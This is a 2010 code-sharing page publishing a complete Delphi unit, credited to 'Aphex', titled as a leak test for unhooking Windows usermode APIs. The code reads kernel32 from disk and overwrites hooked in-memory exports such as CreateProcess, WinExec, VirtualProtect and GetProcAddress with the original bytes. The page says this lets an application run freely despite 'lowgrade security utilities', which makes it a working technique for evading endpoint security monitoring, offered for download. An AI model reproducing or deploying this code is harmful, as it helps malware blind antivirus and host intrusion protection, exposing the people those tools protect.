Unhook Usermode Apis - Leak Test by Aphex

posted 1 Sep 2010, 17:21 by Delphi Basics   [ updated 15 Sep 2010, 13:50 ]
This example details how to remove hooks on usermode apis to ensure the free-running of your application in the presence of lowgrade security utilities.


Coder: Aphex
Operating System: Windows XP
Compiled: Delphi 2007

unit UsermodeUnhook;

interface

uses
  Windows,
  afxCodeHook;

procedure RemoveUserHooks;

type
  TSections = array [0..0] of TImageSectionHeader;
  TStringArray = array [0..1024] of string;

implementation

//USER MODE UNHOOKING

function UnhookExport(hModule: HMODULE; FunctionName: pchar): boolean;
type
  TSections = array [0..0] of TImageSectionHeader;
var
  ModuleName: pchar;
  ImageBase, LoadedImage, pImageBase, pSectionBase: pointer;
  Module: THandle;
  ModuleSize, BytesRead: dword;
  ImageDosHeader: PImageDosHeader;
  ImageNtHeaders: PImageNtHeaders;
  ImageExportDirectory: PImageExportDirectory;
  ExportLoop: integer;
  ExportName: pchar;
  ExportFunction: pointer;
  PNames: pdword;
  PFunctions: pdword;
  PSections: ^TSections;
  SectionLoop: integer;
  SectionBase: pointer;
  VirtualSectionSize, RawSectionSize: dword;
  LoadedAddress: pbyte;
  ExportedAddress: pbyte;
  OldProtection: dword;
  CodeLen: dword;
begin
  Result := False;
  GetMem(ModuleName, MAX_PATH + 1);
  GetModuleFileName(hModule, ModuleName, MAX_PATH + 1);
  ExportedAddress := nil;
  LoadedAddress := nil;
  Module := CreateFile(ModuleName, GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  SetFilePointer(Module, 0, nil, FILE_BEGIN);
  ModuleSize := GetFileSize(Module, nil);
  GetMem(LoadedImage, ModuleSize);
  ReadFile(Module, LoadedImage^, ModuleSize, BytesRead, nil);
  CloseHandle(Module);
  ImageDosHeader := PImageDosHeader(LoadedImage);
  ImageNtHeaders := PImageNtHeaders(cardinal(ImageDosHeader._lfanew) + cardinal(LoadedImage));
  ImageBase := VirtualAlloc(nil, ImageNtHeaders.OptionalHeader.SizeOfImage, MEM_RESERVE, PAGE_NOACCESS);
  pImageBase := ImageBase;
  SectionBase := VirtualAlloc(ImageBase, ImageNtHeaders.OptionalHeader.SizeOfHeaders, MEM_COMMIT, PAGE_READWRITE);
  pSectionBase := SectionBase;
  Move(LoadedImage^, SectionBase^, ImageNtHeaders.OptionalHeader.SizeOfHeaders);
  PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
  for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
  begin
    VirtualSectionSize := PSections[SectionLoop].Misc.VirtualSize;
    RawSectionSize := PSections[SectionLoop].SizeOfRawData;
    if VirtualSectionSize < RawSectionSize then VirtualSectionSize := RawSectionSize;
    SectionBase := VirtualAlloc(PSections[SectionLoop].VirtualAddress + pchar(ImageBase), VirtualSectionSize, MEM_COMMIT, PAGE_READWRITE);
    FillChar(SectionBase^, VirtualSectionSize, 0);
    Move(pointer(cardinal(LoadedImage) + PSections[SectionLoop].PointerToRawData)^, SectionBase^, RawSectionSize);
    VirtualFree(SectionBase, 0, MEM_RELEASE);
  end;
  ImageExportDirectory := PImageExportDirectory(ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + cardinal(ImageBase));
  PNames := pointer(cardinal(ImageExportDirectory.AddressOfNames) + cardinal(ImageBase));
  PFunctions := pointer(cardinal(ImageExportDirectory.AddressOfFunctions) + cardinal(ImageBase));
  for ExportLoop := 0 to ImageExportDirectory.NumberOfNames - 1 do
  begin
    ExportName := pchar(pdword(PNames)^ + cardinal(ImageBase));
    ExportFunction := pointer(pdword(PFunctions)^ + cardinal(ImageBase));
    if lstrcmpi(ExportName, FunctionName) = 0 then
    begin
      LoadedAddress := ExportFunction;
      Break;
    end;
    Inc(PNames);
    Inc(PFunctions);
  end;
  ImageBase := pointer(GetModuleHandle(ModuleName));
  ImageDosHeader := PImageDosHeader(ImageBase);
  ImageNtHeaders := PImageNtHeaders(cardinal(ImageDosHeader._lfanew) + cardinal(ImageBase));
  ImageExportDirectory := PImageExportDirectory(ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + cardinal(ImageBase));
  PNames := pointer(cardinal(ImageExportDirectory.AddressOfNames) + cardinal(ImageBase));
  PFunctions := pointer(cardinal(ImageExportDirectory.AddressOfFunctions) + cardinal(ImageBase));
  for ExportLoop := 0 to ImageExportDirectory.NumberOfNames - 1 do
  begin
    ExportName := pchar(pdword(PNames)^ + cardinal(ImageBase));
    ExportFunction := pointer(pdword(PFunctions)^ + cardinal(ImageBase));
    if lstrcmpi(ExportName, FunctionName) = 0 then
    begin
      ExportedAddress := ExportFunction;
      Break;
    end;
    Inc(PNames);
    Inc(PFunctions);
  end;
  if ((LoadedAddress <> nil) and (ExportedAddress <> nil)) then
  begin
    if ((ExportedAddress^ <> 0) and (LoadedAddress^ <> 0) and (ExportedAddress^ <> LoadedAddress^)) then
    begin
      Result := True;
  //    WriteLn('Unhooking ', FunctionName, '...');//  readln;
      CodeLen := SizeOfProc(LoadedAddress);

      if (FunctionName='OpenFile') or (FunctionName='CreateFile')or (FunctionName='CreateProcess')or (FunctionName='CreateProcessEx')or (FunctionName='DeleteFile')or (FunctionName='FreeVirtualMemory')or (FunctionName='WriteVirtualMemory')or (FunctionName='SetInformationProcess')or (FunctionName='GetProcedureAddress')or (FunctionName='CreateProcessW')or (FunctionName='CreateProcessA')or (FunctionName='CopyFileW')or (FunctionName='VirtualProtect')or (FunctionName='GetProcAddress')or (FunctionName='GetModuleHandleW')or (FunctionName='----------LoadLibraryA')or (FunctionName='----------LoadLibraryW')or (FunctionName='GetModuleHandleW')or (FunctionName='CreateFileA')or (FunctionName='WinExec')or (FunctionName='OpenServiceW')or (FunctionName='OpenServiceA')or (FunctionName='ShellExecureW')or (FunctionName='ShellExecureExW')or (FunctionName='ShellExecureEx')or (FunctionName='ShellExecureA')or (FunctionName='AllocateVirtualMemory') then
      begin     WriteLn('Unhooking ', FunctionName, '...');
      VirtualProtect(ExportedAddress, CodeLen, PAGE_EXECUTE_READWRITE, @OldProtection);
      CopyMemory(ExportedAddress, LoadedAddress, CodeLen);
      VirtualProtect(ExportedAddress, CodeLen, OldProtection, @OldProtection);
      end;
    end;
  end;
  FreeMem(ModuleName);
  FreeMem(LoadedImage);
  VirtualFree(pImageBase, 0, MEM_RELEASE);
  VirtualFree(pSectionBase, 0, MEM_RELEASE);
end;

function CheckExports(ImageBase: pointer; ImageExportDirectory: PImageExportDirectory): boolean;
var
  ExportLoop: integer;
  ExportName: pchar;
  PNames: pdword;
  HooksFound: boolean;
begin
  Result := False;
  PNames := pointer(cardinal(ImageExportDirectory.AddressOfNames) + cardinal(ImageBase));
  for ExportLoop := 0 to ImageExportDirectory.NumberOfNames - 1 do
  begin
    ExportName := pchar(pdword(PNames)^ + cardinal(ImageBase));
    HooksFound := UnhookExport(HMODULE(ImageBase), ExportName);
    if HooksFound = True then Result := True;
    Inc(PNames);
  end;
end;

procedure RemoveUserHooks;
var
  ImageBase: pointer;
  ImageDosHeader: PImageDosHeader;
  ImageNtHeaders: PImageNtHeaders;
  ImageExportDirectory: PImageExportDirectory;
begin
  ImageBase := pointer(GetModuleHandle('kernel32.dll'));
  ImageDosHeader := PImageDosHeader(ImageBase);
  ImageNtHeaders := PImageNtHeaders(cardinal(ImageDosHeader._lfanew) + cardinal(ImageBase));
  ImageExportDirectory := PImageExportDirectory(ImageNtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + cardinal(ImageBase));
  if ImageExportDirectory <> ImageBase then
  begin
    if ImageExportDirectory.NumberOfNames <> 0 then
    begin
      if not CheckExports(ImageBase, ImageExportDirectory) then WriteLn('No user mode hooks found!');
    end;
  end;
end;

end.

Only Delphi source code is included in the archive.
ċ
UserModeUnhook.rar
(7k)
Delphi Basics,
15 Sep 2010, 13:50
Comments